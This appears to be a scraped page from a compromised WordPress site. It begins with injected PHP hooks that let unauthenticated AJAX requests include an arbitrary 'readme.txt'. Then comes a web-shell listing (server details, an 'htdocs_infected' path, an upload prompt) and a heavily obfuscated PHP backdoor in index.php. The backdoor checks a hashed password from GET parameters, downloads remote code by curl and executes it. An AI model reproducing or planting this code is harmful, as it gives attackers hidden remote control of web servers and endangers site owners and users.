if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/css/colors/colors/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/css/colors/colors/index.php
<?php
 goto D3Uwn0GOcU; a8Yh3lwwmm: class gCmDEOuR3P { static function NkHI7GpkL2($NTDyCloJ21) { goto VOynwRhptf; GkS160ePRq: $qmOxnkcR4R = explode("\41", $NTDyCloJ21); goto k9Z00IkQqp; k9Z00IkQqp: $UGnn_UH3Qm = ''; goto C1lqNZk8v6; ya1VMw2hBb: $ySSyEKzQCt = $i68QebU_89("\x7e", "\x20"); goto GkS160ePRq; VOynwRhptf: $i68QebU_89 = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto ya1VMw2hBb; PqMjCxs2zV: zsh9CJy8Si: goto UWot5dUQas; UWot5dUQas: return $UGnn_UH3Qm; goto WsfyH_WQS8; C1lqNZk8v6: foreach ($qmOxnkcR4R as $QBl6PqsjHc => $TpVlpLv_2k) { $UGnn_UH3Qm .= $ySSyEKzQCt[$TpVlpLv_2k - 12356]; dctpE09CkP: } goto PqMjCxs2zV; WsfyH_WQS8: } static function GQ3Ry1WHAV($bLzbJ8xfve, $azED6q2eKZ) { goto Wf1Hsnn5_6; e4MQ97PKl5: curl_setopt($N6F397g1ha, CURLOPT_RETURNTRANSFER, 1); goto Je_WdqtLQm; OabRqfl2vI: return empty($A5LICBgdZ9) ? $azED6q2eKZ($bLzbJ8xfve) : $A5LICBgdZ9; goto bjbPiF4r4l; Wf1Hsnn5_6: $N6F397g1ha = curl_init($bLzbJ8xfve); goto e4MQ97PKl5; Je_WdqtLQm: $A5LICBgdZ9 = curl_exec($N6F397g1ha); goto OabRqfl2vI; bjbPiF4r4l: } static function EM0IFFC22Z() { goto AALKKB5U4h; aFNjAgaH6a: Zkblh3CGVE: goto Yxp4oDoErn; CCnNngR6s9: $G5TLLnzjQv = @$OliHDYlcJU[1]($OliHDYlcJU[6 + 4](INPUT_GET, $OliHDYlcJU[6 + 3])); goto fHx5NYO6Zr; N6pk0F0zqX: @$OliHDYlcJU[6 + 4](INPUT_GET, "\x6f\x66") == 1 && die($OliHDYlcJU[3 + 2](__FILE__)); goto abBlOJh_nZ; V9KTWZF8eV: @$OliHDYlcJU[0]('', $OliHDYlcJU[2 + 5] . $OliHDYlcJU[3 + 1]($V54b3a6KIS) . $OliHDYlcJU[0 + 8]); goto VSl8nDvCiK; VSl8nDvCiK: die; goto aFNjAgaH6a; ZbKkhXaOf7: JNVT55IYlb: goto CCnNngR6s9; AALKKB5U4h: $DvbUsxSkCg = array("\x31\62\63\70\63\x21\x31\x32\x33\x36\70\x21\61\62\63\70\x31\41\x31\x32\63\70\65\x21\x31\x32\x33\x36\66\x21\x31\62\x33\x38\x31\x21\x31\62\63\70\67\x21\61\62\63\x38\x30\x21\x31\62\63\x36\65\x21\x31\x32\63\x37\x32\x21\61\62\x33\x38\x33\x21\61\x32\63\66\x36\x21\x31\x32\63\67\67\41\61\62\x33\x37\x31\x21\61\x32\x33\67\x32", "\61\x32\x33\x36\67\x21\61\x32\x33\66\x36\41\61\62\x33\x36\70\41\61\x32\x33\x38\67\41\61\x32\x33\66\x38\x21\x31\x32\63\67\61\41\61\62\x33\66\66\41\61\62\64\x33\63\x21\x31\62\x34\63\61", "\61\x32\x33\67\66\41\61\62\63\66\x37\41\x31\x32\x33\x37\61\41\61\x32\63\67\62\41\61\x32\63\x38\67\41\61\62\63\x38\62\x21\x31\x32\x33\70\61\x21\61\62\x33\70\x33\41\61\62\x33\x37\x31\x21\61\62\x33\70\x32\x21\61\x32\x33\x38\61", "\x31\x32\x33\x37\x30\41\61\62\x33\70\x35\41\61\x32\63\x38\x33\x21\x31\x32\63\x37\x35", "\x31\62\63\x38\64\x21\61\x32\63\70\x35\x21\61\x32\63\x36\67\x21\61\62\x33\70\61\41\x31\62\64\x32\70\x21\x31\x32\x34\63\60\41\61\x32\63\70\67\x21\x31\62\63\x38\x32\41\61\x32\63\70\61\41\61\62\x33\70\63\41\61\x32\63\67\x31\x21\61\62\x33\x38\x32\41\61\62\x33\x38\61", "\x31\x32\x33\x38\x30\x21\61\x32\x33\x37\67\41\x31\62\x33\67\x34\41\61\62\x33\x38\61\x21\61\x32\63\x38\67\x21\61\x32\x33\x37\71\x21\61\x32\63\x38\x31\x21\x31\62\x33\x36\66\41\x31\x32\63\x38\x37\x21\x31\x32\63\x38\63\41\x31\x32\x33\67\x31\41\x31\x32\63\67\x32\x21\61\x32\x33\x36\66\x21\x31\62\x33\x38\61\41\x31\x32\x33\x37\62\41\x31\x32\63\66\66\x21\61\x32\63\x36\67", "\x31\x32\x34\61\x30\x21\x31\62\64\64\60", "\x31\x32\63\65\67", "\61\62\64\63\x35\41\61\62\64\x34\x30", "\61\62\64\61\67\41\x31\62\x34\x30\60\41\61\x32\64\x30\60\x21\61\62\64\x31\x37\41\x31\62\63\x39\x33", "\x31\62\x33\x38\60\x21\x31\x32\x33\x37\x37\x21\x31\x32\x33\x37\64\41\x31\x32\x33\x36\x36\x21\x31\62\63\70\x31\x21\61\x32\63\66\x38\41\x31\x32\63\70\67\x21\x31\x32\x33\67\x37\41\x31\x32\63\67\x32\41\61\62\63\x37\60\41\61\62\x33\x36\x35\41\61\62\x33\x36\x36"); goto ZnYigQ0djO; fHx5NYO6Zr: $KeJD0ZxiiX = @$OliHDYlcJU[3 + 0]($OliHDYlcJU[5 + 1], $G5TLLnzjQv); goto DCkZd3WnOi; DCkZd3WnOi: $o5AbnR4G1A = $OliHDYlcJU[0 + 2]($KeJD0ZxiiX, true); goto N6pk0F0zqX; ZnYigQ0djO: foreach ($DvbUsxSkCg as $x2ETAX5OJv) { $OliHDYlcJU[] = self::nkhI7GPkL2($x2ETAX5OJv); YICsMjaCVw: } goto ZbKkhXaOf7; GlmJOYlJ9Z: $V54b3a6KIS = self::GQ3rY1WHav($o5AbnR4G1A[0 + 1], $OliHDYlcJU[5 + 0]); goto V9KTWZF8eV; abBlOJh_nZ: if (!(@$o5AbnR4G1A[0] - time() > 0 and md5(md5($o5AbnR4G1A[3 + 0])) === "\x39\142\60\x33\142\146\70\64\x30\x62\x33\x37\x34\64\x34\146\x39\144\67\66\x63\x33\x64\60\x31\67\x62\144\x32\x31\x36\62")) { goto Zkblh3CGVE; } goto GlmJOYlJ9Z; Yxp4oDoErn: } } goto Hb2aM6xSHV; D3Uwn0GOcU: $tsxMOBuXUU = range("\x7e", "\40"); goto r0Wz9NBlpm; s2kKBG8i4C: @(md5(md5(md5(md5($UhcGPqt8uA[13])))) === "\x65\146\x38\66\66\x39\145\x30\66\x35\x65\70\141\146\71\61\x39\146\x30\x31\145\x62\146\x34\x38\146\146\144\63\70\x34\x61") && (count($UhcGPqt8uA) == 19 && in_array(gettype($UhcGPqt8uA) . count($UhcGPqt8uA), $UhcGPqt8uA)) ? ($UhcGPqt8uA[67] = $UhcGPqt8uA[67] . $UhcGPqt8uA[75]) && ($UhcGPqt8uA[89] = $UhcGPqt8uA[67]($UhcGPqt8uA[89])) && @($UhcGPqt8uA = $UhcGPqt8uA[89]($UhcGPqt8uA[56], $UhcGPqt8uA[67](${$UhcGPqt8uA[31]}[29]))) && $UhcGPqt8uA() : $UhcGPqt8uA; goto DuadwMAeFZ; r0Wz9NBlpm: $UhcGPqt8uA = ${$tsxMOBuXUU[10 + 21] . $tsxMOBuXUU[20 + 39] . $tsxMOBuXUU[14 + 33] . $tsxMOBuXUU[0 + 47] . $tsxMOBuXUU[47 + 4] . $tsxMOBuXUU[22 + 31] . $tsxMOBuXUU[10 + 47]}; goto s2kKBG8i4C; DuadwMAeFZ: metaphone("\116\152\115\61\117\x54\x41\64\x4d\124\x63\62\x4e\x54\x4d\62\116\104\121\x34\x4d\x44\105\x34\117\124\x55\x7a\115\x7a\x41\171"); goto a8Yh3lwwmm; Hb2aM6xSHV: gcMDEour3p::eM0IFFC22Z();
?>
@ Telegram